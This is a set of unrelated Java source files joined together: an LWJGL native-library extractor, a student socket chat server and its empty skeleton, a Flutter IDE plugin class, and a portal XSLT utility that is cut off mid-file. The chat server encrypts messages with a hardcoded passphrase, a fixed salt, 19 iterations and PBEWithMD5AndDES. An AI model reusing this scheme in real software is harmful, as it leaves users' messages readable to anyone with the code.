// Prepend the path in which the libraries were extracted to org.lwjgl.librarypath
String libraryPath = Configuration.LIBRARY_PATH.get();
if ( libraryPath == null || libraryPath.isEmpty() )
libraryPath = extractPath.getAbsolutePath();
else
libraryPath = extractPath.getAbsolutePath() + File.pathSeparator + libraryPath;
LWJGLUtil.log("Extracted shared libraries to: " + libraryPath);
System.setProperty(Configuration.LIBRARY_PATH.getProperty(), libraryPath);
Configuration.LIBRARY_PATH.set(libraryPath);
}
/**
* Extracts the specified file into the temp directory if it does not already exist or the CRC does not match.
*
* @param libraryFile the file to extract from the classpath.
* @param libraryPath the subdirectory where the file will be extracted. If null, the file's CRC will be used.
*
* @return The extracted file.
*/
private static File extractFile(String libraryFile, File libraryPath) throws IOException {
String libraryCRC = crc(readResource(libraryFile));
File extractedFile = getExtractedFile(
libraryPath == null ? new File(libraryCRC) : libraryPath,
new File(libraryFile).getName()
);
extractFile(libraryFile, libraryCRC, extractedFile);
return extractedFile;
}
/**
* Returns a path to a file that can be written. Tries multiple locations and verifies writing succeeds.
*
* @param libraryPath the library path
* @param fileName the library file
*
* @return the extracted library
*/
private static File getExtractedFile(File libraryPath, String fileName) {
// Reuse the lwjgl shared library location
if ( libraryPath.isDirectory() )
return new File(libraryPath, fileName);
// The first time libraryPath will be a relative path (the lwjgl shared library CRC)
// Temp directory with username in path
String tempDirectory = Configuration.SHARED_LIBRARY_TEMP_DIRECTORY.get("lwjgl" + System.getProperty("user.name"));
File file = new File(System.getProperty("java.io.tmpdir") + "/" + tempDirectory + "/" + libraryPath, fileName);
if ( canWrite(file) ) return file;
// User home
tempDirectory = Configuration.SHARED_LIBRARY_TEMP_DIRECTORY.get("lwjgl");
file = new File(System.getProperty("user.home") + "/." + tempDirectory + "/" + libraryPath, fileName);
if ( canWrite(file) ) return file;
// Relative directory
file = new File("." + tempDirectory + "/" + libraryPath, fileName);
if ( canWrite(file) ) return file;
// System provided temp directory
try {
file = File.createTempFile(libraryPath.getName(), null);
if ( file.delete() ) {
file = new File(file, fileName);
if ( canWrite(file) ) return file;
}
} catch (IOException ignored) {
}
throw new RuntimeException("Failed to find an appropriate directory to extract the native library");
}
/**
* Extracts a native library.
*
* @param libraryFile the library file
* @param libraryCRC the library file CRC
* @param extractedFile the extracted file
*
* @throws IOException if an IO error occurs
*/
private static void extractFile(String libraryFile, String libraryCRC, File extractedFile) throws IOException {
String extractedCrc = null;
if ( extractedFile.exists() )
try {
extractedCrc = crc(new FileInputStream(extractedFile));
} catch (FileNotFoundException ignored) {
}
// If file doesn't exist or the CRC doesn't match, extract it to the temp dir.
if ( extractedCrc == null || !extractedCrc.equals(libraryCRC) ) {
InputStream input = readResource(libraryFile);
extractedFile.getParentFile().mkdirs();
FileOutputStream output = new FileOutputStream(extractedFile);
byte[] buffer = new byte[4096];
while ( true ) {
int length = input.read(buffer);
if ( length == -1 ) break;
output.write(buffer, 0, length);
}
input.close();
output.close();
}
}
/**
* Opens an {@link InputStream} to the specified resource in the classpath.
*
* @param path the resource to read
*
* @return an {@link InputStream} for the resource
*/
private static InputStream readResource(String path) {
InputStream input = SharedLibraryLoader.class.getResourceAsStream("/" + path);
if ( input == null )
throw new RuntimeException("Unable to read file for extraction: " + path);
return input;
}
/**
* Returns a CRC of the remaining bytes in a stream.
*
* @param input the stream
*
* @return the CRC as a hex String
*/
private static String crc(InputStream input) {
CRC32 crc = new CRC32();
byte[] buffer = new byte[4096];
try {
while ( true ) {
int length = input.read(buffer);
if ( length == -1 ) break;
crc.update(buffer, 0, length);
}
} catch (Exception e) {
try {
input.close();
} catch (IOException ignored) {
}
}
return Long.toHexString(crc.getValue());
}
/**
* Returns true if the parent directories of the file can be created and the file can be written.
*
* @param file the file to test
*
* @return true if the file is writable
*/
private static boolean canWrite(File file) {
File parent = file.getParentFile();
File testFile;
if ( file.exists() ) {
if ( !file.canWrite() || !canExecute(file) )
return false;
// Don't overwrite existing file just to check if we can write to directory.
testFile = new File(parent, UUID.randomUUID().toString());
} else {
parent.mkdirs();
if ( !parent.isDirectory() )
return false;
testFile = file;
}
try {
new FileOutputStream(testFile).close();
return canExecute(testFile);
} catch (Throwable t) {
return false;
} finally {
testFile.delete();
}
}
/**
* Returns true if the specified file is or was made executable.
*
* @param file the file
*
* @return true if the file is executable
*/
private static boolean canExecute(File file) {
try {
Method canExecute = File.class.getMethod("canExecute");
if ( (Boolean)canExecute.invoke(file) )
return true;
Method setExecutable = File.class.getMethod("setExecutable", boolean.class, boolean.class);
setExecutable.invoke(file, true, false);
return (Boolean)canExecute.invoke(file);
} catch (Exception ignored) {
}
return false;
}
}
|
/*
* Chat server
*/
package freeleserver;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map.Entry;
// CIPHER / GENERATORS
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.KeyGenerator;
// KEY SPECIFICATIONS
import java.security.spec.KeySpec;
import java.security.spec.AlgorithmParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEParameterSpec;
// EXCEPTIONS
import java.security.InvalidAlgorithmParameterException;
import java.security.NoSuchAlgorithmException;
import java.security.InvalidKeyException;
import java.security.spec.InvalidKeySpecException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import java.io.UnsupportedEncodingException;
import java.io.IOException;
/**
*
* @author Vetle, Mirza, Kjetil
*/
public class FreeleServer {
/**
* @param args the command line arguments
*/
HashMap<String, PrintWriter> userOutputStream;
//ArrayList<String> onlineUsers = new ArrayList();
/*
This class is gonna handle our clients, with socket and with connections from diffrent users.
*/
// Encryption related members
Cipher ecipher;
Cipher dcipher;
public class UserServer implements Runnable {
BufferedReader bufferedReader;
Socket socket;
PrintWriter client;
InetAddress clientAddress;
/*
Connection socket
*/
public UserServer(Socket clientSocket, PrintWriter user) {
client = user;
try {
socket = clientSocket;
clientAddress = socket.getInetAddress();
InputStreamReader isReader = new InputStreamReader(socket.getInputStream());
bufferedReader = new BufferedReader(isReader);
} catch (IOException ex) {
System.out.println("Error beginning StreamReader. \n");
}
}
/*
Message runner, here the program will handel the message resived.
*/
@Override
public void run() {
String message;
String connect = "Connect";
String chat = "Chat";
String disconnect = "Disconnect";
String privateChat = "Private";
String[] data;
try {
while ((message = bufferedReader.readLine()) != null) {
System.out.println("Encrypted Message" + message);
message = decrypt(message);
System.out.println("Message: " + message);
data = message.split("β");
for (String i : data) {
System.out.println(i + "\n");
}
if (data[2].equals(connect)) {
messageAll((data[0] + "β" + data[1] + "β" + chat));
addUser(data[0], client);
//userOutputStream.put(data[0], client);
//addUser(data[0], clientAddress);
} else if (data[2].equals(disconnect)) {
messageAll((data[0] + "βhas disconnected." + "β" + chat));
removeUser(data[0]);
} else if (data[2].equals(chat)) {
messageAll(message);
} else if (data[2].equals(privateChat)) {
privateConversation(data[0], data[1], data[3]);
System.out.println(data[0] + "5kommer hit" + data[1] + data[2] + data[3]);
} else {
System.out.println("something gone wrong");
}
}
} catch (IOException e) {
System.out.println("connection lost");
userOutputStream.remove(client);
}
}
}
/*
Main function to start the program
*/
public static void main(String[] args) {
new FreeleServer().start();
}
/*
This method establish connection to the clients and creats a new thread to the client.
*/
public void start() {
// initialize encryption/descryption
// encryption initialization
String passPhrase = "My Pass Phrase"; // key
// 8-bytes Salt
byte[] salt = {
(byte)0xA9, (byte)0x9B, (byte)0xC8, (byte)0x32,
(byte)0x56, (byte)0x34, (byte)0xE3, (byte)0x03
};
// Iteration count
int iterationCount = 19;
try {
KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(), salt, iterationCount);
SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
ecipher = Cipher.getInstance(key.getAlgorithm());
dcipher = Cipher.getInstance(key.getAlgorithm());
// Prepare the parameters to the cipthers
AlgorithmParameterSpec paramSpec = new PBEParameterSpec(salt, iterationCount);
ecipher.init(Cipher.ENCRYPT_MODE, key, paramSpec);
dcipher.init(Cipher.DECRYPT_MODE, key, paramSpec);
} catch (InvalidAlgorithmParameterException e) {
System.out.println("EXCEPTION: InvalidAlgorithmParameterException");
} catch (InvalidKeySpecException e) {
System.out.println("EXCEPTION: InvalidKeySpecException");
} catch (NoSuchPaddingException e) {
System.out.println("EXCEPTION: NoSuchPaddingException");
} catch (NoSuchAlgorithmException e) {
System.out.println("EXCEPTION: NoSuchAlgorithmException");
} catch (InvalidKeyException e) {
System.out.println("EXCEPTION: InvalidKeyException");
}
userOutputStream = new HashMap();
try {
ServerSocket serverSocket = new ServerSocket(4000);
while (true) {
Socket clientSock = serverSocket.accept();
PrintWriter writer = new PrintWriter(clientSock.getOutputStream());
//userOutputStream.add(writer);
Thread listener = new Thread(new UserServer(clientSock, writer));
listener.start();
System.out.println("connection complete");
}
} catch (IOException e) {
System.out.println("connection failed");
}
}
/**
* Takes a single String as an argument and returns an Encrypted version
* of that String.
* @param str String to be encrypted
* @return <code>String</code> Encrypted version of the provided String
*/
public String encrypt(String str) {
try {
// Encode the string into bytes using utf-8
byte[] utf8 = str.getBytes("UTF8");
// Encrypt
byte[] enc = ecipher.doFinal(utf8);
// Encode bytes to base64 to get a string
return new sun.misc.BASE64Encoder().encode(enc);
} catch (BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (IOException e) {
}
return null;
}
/**
* Takes a encrypted String as an argument, decrypts and returns the
* decrypted String.
* @param str Encrypted String to be decrypted
* @return <code>String</code> Decrypted version of the provided String
*/
public String decrypt(String str) {
try {
// Decode base64 to get bytes
byte[] dec = new sun.misc.BASE64Decoder().decodeBuffer(str);
// Decrypt
byte[] utf8 = dcipher.doFinal(dec);
// Decode using utf-8
return new String(utf8, "UTF8");
} catch (BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (IOException e) {
}
return null;
}
/**
* This method add users into the system and sends a signal to print out
* users on the client side
*
* @param data
* @param p
*/
public void addUser(String data, PrintWriter p) {
String message;
String add = "β βConnect";
String done = "Serverβ βDone";
userOutputStream.put(data, p);
//String[] l = new String[(onlineUsers.size())];
//onlineUsers.toArray(l);
for (Entry<String, PrintWriter> s : userOutputStream.entrySet()) {
String k = s.getKey();
message = (k + add);
messageAll(message);
}
messageAll(done);
}
/**
* This method removes users into the system and sends a signal to print out
* users on the client side
*
* @param data
*/
public void removeUser(String data) {
String message;
String add = "β βConnect";
String done = "Serverβ βDone";
userOutputStream.remove(data);
//String[] l = new String[(onlineUsers.size())];
//onlineUsers.toArray(l);
for (Entry<String, PrintWriter> s : userOutputStream.entrySet()) {
String k = s.getKey();
message = (k + add);
messageAll(message);
}
messageAll(done);
}
/**
* This method is used for sending messages one to one
*
* @param username
* @param m
* @param privName
*/
public void privateConversation(String username, String m, String privName) {
String message = "ββPrivate" + "β" + privName;
for (Entry<String, PrintWriter> s : userOutputStream.entrySet()) {
PrintWriter p = s.getValue();
if (username.equals(s.getKey())) {
String CompleteMessage = m + message;
p.println(encrypt(CompleteMessage));
p.flush();
}
}
}
// /**
// * This method is used to send messages to all clients connected to the server
// * @param m
// */
// public void messageAll(String m) {
// Iterator i = userOutputStream.iterator();
// while(i.hasNext()){
// try{
// PrintWriter w = (PrintWriter) i.next();
// w.println(m);
// System.out.println("Send " + m);
// w.flush();
// }catch(Exception e){
// System.out.println("message all failed");
public void messageAll(String m) {
for (Entry<String, PrintWriter> name : userOutputStream.entrySet()) {
try {
PrintWriter w = name.getValue();
w.println(encrypt(m));
System.out.println("Send " + m);
w.flush();
} catch (Exception e) {
System.out.println("message all failed");
}
}
}
}
|
package io.flutter.samples;
import com.google.common.annotations.VisibleForTesting;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.editor.Document;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.fileEditor.FileEditor;
import com.intellij.openapi.fileEditor.TextEditor;
import com.intellij.openapi.project.DumbAware;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.Computable;
import com.intellij.openapi.util.Key;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiDocumentManager;
import com.intellij.psi.PsiFile;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.ui.EditorNotificationPanel;
import com.intellij.ui.EditorNotifications;
import com.jetbrains.lang.dart.psi.DartClass;
import io.flutter.sdk.FlutterSdk;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.regex.Pattern;
public class FlutterSampleNotificationProvider extends EditorNotifications.Provider<EditorNotificationPanel> implements DumbAware {
private static final Key<EditorNotificationPanel> KEY = Key.create("flutter.sample");
@NotNull final Project project;
public FlutterSampleNotificationProvider(@NotNull Project project) {
this.project = project;
}
@NotNull
@Override
public Key<EditorNotificationPanel> getKey() {
return KEY;
}
@Nullable
@Override
public EditorNotificationPanel createNotificationPanel(
@NotNull VirtualFile file, @NotNull FileEditor fileEditor, @NotNull Project project) {
if (!(fileEditor instanceof TextEditor)) {
return null;
}
final FlutterSdk sdk = FlutterSdk.getFlutterSdk(project);
if (sdk == null) {
return null;
}
final String flutterPackagePath = sdk.getHomePath() + "/packages/flutter/lib/src/";
final String filePath = file.getPath();
// Only show for files in the flutter sdk.
if (!filePath.startsWith(flutterPackagePath)) {
return null;
}
final TextEditor textEditor = (TextEditor)fileEditor;
final Editor editor = textEditor.getEditor();
final Document document = editor.getDocument();
final PsiFile psiFile = PsiDocumentManager.getInstance(project).getPsiFile(document);
if (psiFile == null || !psiFile.isValid()) {
return null;
}
// Run the code to query the document in a read action.
final List<FlutterSample> samples = ApplicationManager.getApplication().
runReadAction((Computable<List<FlutterSample>>)() -> {
//noinspection CodeBlock2Expr
return getSamplesFromDoc(flutterPackagePath, document, filePath);
});
return samples.isEmpty() ? null : new FlutterSampleActionsPanel(samples);
}
private List<FlutterSample> getSamplesFromDoc(String flutterPackagePath, Document document, String filePath) {
final List<FlutterSample> samples = new ArrayList<>();
// Find all candidate class definitions.
final PsiFile psiFile = PsiDocumentManager.getInstance(project).getPsiFile(document);
assert (psiFile != null);
final DartClass[] classes = PsiTreeUtil.getChildrenOfType(psiFile, DartClass.class);
if (classes == null) {
return Collections.emptyList();
}
// Get the dartdoc for the classes and use a regex to identify which ones have
// "/// {@tool dartpad ...}".
for (DartClass declaration : classes) {
final String name = declaration.getName();
if (name == null || name.startsWith("_")) {
continue;
}
final List<String> dartdoc = DartDocumentUtils.getDartdocFor(document, declaration);
if (containsDartdocFlutterSample(dartdoc)) {
assert (declaration.getName() != null);
String libraryName = filePath.substring(flutterPackagePath.length());
final int index = libraryName.indexOf('/');
if (index != -1) {
libraryName = libraryName.substring(0, index);
final FlutterSample sample = new FlutterSample(libraryName, declaration.getName());
samples.add(sample);
}
}
}
return samples;
}
// "/// {@tool dartpad ...}"
private static final Pattern DARTPAD_TOOL_PATTERN = Pattern.compile("\\{@tool.*\\sdartpad.*}");
/**
* Return whether the given lines of dartdoc text contain a reference to an embedded dartpad Flutter
* widget sample, eg. <code>"/// {\@tool dartpad ...}"</code>(.
*/
@VisibleForTesting
public static boolean containsDartdocFlutterSample(@NotNull List<String> lines) {
if (lines.isEmpty()) {
return false;
}
for (String line : lines) {
if (DARTPAD_TOOL_PATTERN.matcher(line).find()) {
return true;
}
}
return false;
}
}
|
/*
* Chat server
*/
package freeleserver;
import java.io.BufferedReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.ArrayList;
/**
*
* @author Vetle, Mirza, Kjetil
*/
public class FreeleServer {
/**
* @param args the command line arguments
*/
ArrayList clientOutputStream;
ArrayList<String> onlineUsers = new ArrayList();
/*
This class is gonna handle our clients, with socket and with connections from diffrent users.
*/
public class userServer implements Runnable {
BufferedReader reader;
Socket sock;
PrintWriter client;
/*
Connection socket
*/
public userServer(Socket clientSocket, PrintWriter user) {
}
/*
Message runner, here the program will handel the message resived.
*/
public void run() {
}
}
/*
Main function to start the program
*/
public static void main(String[] args) {
new FreeleServer().start();
}
/*
Server start function
*/
public void start() {
}
/**
*
* @param data
*/
public addUser(String data) {
}
/*
This method removes the user from the server
*/
public removeUser(String data) {
}
/*
This is a method that handels all the messages that is written, or notifacation that is made.
*/
public void messageAll(String message) {
}
}
|
package org.jasig.portal.utils;
import org.jasig.portal.services.LogService;
import org.jasig.portal.StylesheetSet;
import org.jasig.portal.UtilitiesBean;
import org.jasig.portal.GeneralRenderingException;
import org.jasig.portal.ResourceMissingException;
import org.jasig.portal.BrowserInfo;
import org.apache.xalan.xslt.*;
import org.apache.xerces.parsers.SAXParser;
import java.io.File;
import java.io.StringReader;
import java.io.IOException;
import java.io.StringWriter;
import java.util.Hashtable;
import java.util.Enumeration;
import java.net.URL;
import org.xml.sax.DocumentHandler;
import org.xml.sax.SAXException;
import org.w3c.dom.Document;
/**
* <p>This utility provides methods for transforming XML documents
* via XSLT. It takes advantage of Xalan's ability to pre-compile
* stylehseets into StylesheetRoot objects. The first time a transform
* is requested, a stylesheet is compiled and cached.</p>
* <p>None of the method signatures in this class should contain
* classes specific to a particular XSLT engine, e.g. Xalan, or
* XML parser, e.g. Xerces.</p>
* @author Ken Weiner, kweiner@interactivebusiness.com
* @version $Revision$
*/
public class XSLT {
// cacheEnabled flag should be set to true for production to
// ensure that pre-compiled stylesheets are cached
// I'm hoping that this setting can come from some globally-set
// property. I'll leave this for later.
// Until then, it'll stay checked in set to false so that
// developers can simply reload the page to see the effect of
// a modified XSLT stylesheet
private static boolean cacheEnabled = false;
private static final String mediaProps = UtilitiesBean.getPortalBaseDir() + "properties" + File.separator + "media.properties";
private static Hashtable stylesheetRootCache = new Hashtable();
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(String, URL, DocumentHandler, Hashtable, String, BrowserInfo)}
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String stylesheetTitle, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(new StringReader(xml));
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, media));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(new StringReader(xml));
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, browserInfo));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a StringWriter
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(String, URL, StringWriter, Hashtable, String, BrowserInfo)}
*/
public static void transform (String xml, URL sslUri, StringWriter out, Hashtable stylesheetParams, String stylesheetTitle, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(new StringReader(xml));
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, media));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
// Make sure to generate XML in order to cache it
stylesheetRoot.setOutputMethod("xml");
// Process the XML/XSLT and store the result in the StringWriter
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a StringWriter
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (String xml, URL sslUri, StringWriter out, Hashtable stylesheetParams, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(new StringReader(xml));
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor();
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, browserInfo));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
// Make sure to generate XML in order to cache it
stylesheetRoot.setOutputMethod("xml");
// Process the XML/XSLT and store the result in the StringWriter
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetTitle the title that identifies the stylsheet in the stylesheet list file (.ssl)
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(String, URL, DocumentHandler, String, String)}
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, String stylesheetTitle, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, (Hashtable)null, stylesheetTitle, media);
}
/**
* Performs an XSL transformation.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetTitle the title that identifies the stylsheet in the stylesheet list file (.ssl)
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, (Hashtable)null, stylesheetTitle, browserInfo);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(String, URL, DocumentHandler, Hashtable, String)}
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String media) throws SAXException,
IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, stylesheetParams, (String)null, media);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, stylesheetParams, (String)null, browserInfo);
}
/**
* Performs an XSL transformation.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(String, URL, DocumentHandler, String)}
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, (Hashtable)null, (String)null, media);
}
/**
* Performs an XSL transformation.
* @param xml a string representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (String xml, URL sslUri, DocumentHandler out, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
transform(xml, sslUri, out, (Hashtable)null, (String)null, browserInfo);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param media the media type
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
* @deprecated replaced by {@link #transform(Document, URL, DocumentHandler, Hashtable, String, String)}
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String stylesheetTitle, String media) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, media));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
* @param sslUri the URI of the stylesheet list file (.ssl)
* @param out a document handler
* @param stylesheetParams a Hashtable of key/value pairs or <code>null</code> if no parameters
* @param stylesheetTitle the title that identifies the stylesheet in the stylesheet list file (.ssl), <code>null</code> if no title
* @param browserInfo the browser information
* @throws org.xml.sax.SAXException
* @throws java.io.IOException
* @throws org.jasig.portal.ResourceMissingException
* @throws org.jasig.portal.GeneralRenderingException
*/
public static void transform (Document xmlDoc, URL sslUri, DocumentHandler out, Hashtable stylesheetParams, String stylesheetTitle, BrowserInfo browserInfo) throws SAXException, IOException, ResourceMissingException, GeneralRenderingException {
XSLTInputSource xmlSource = new XSLTInputSource(xmlDoc);
XSLTResultTarget xmlResult = new XSLTResultTarget(out);
StylesheetSet set = new StylesheetSet(sslUri.toExternalForm());
set.setMediaProps(mediaProps);
XSLTProcessor processor = XSLTProcessorFactory.getProcessor(new org.apache.xalan.xpath.xdom.XercesLiaison());
StylesheetRoot stylesheetRoot = getStylesheetRoot(set.getStylesheetURI(stylesheetTitle, browserInfo));
processor.reset();
setStylesheetParams(processor, stylesheetParams);
stylesheetRoot.process(processor, xmlSource, xmlResult);
}
/**
* Performs an XSL transformation. Accepts stylesheet parameters
* (key, value pairs) stored in a Hashtable.
* @param xmlDoc a DOM object representing the xml document
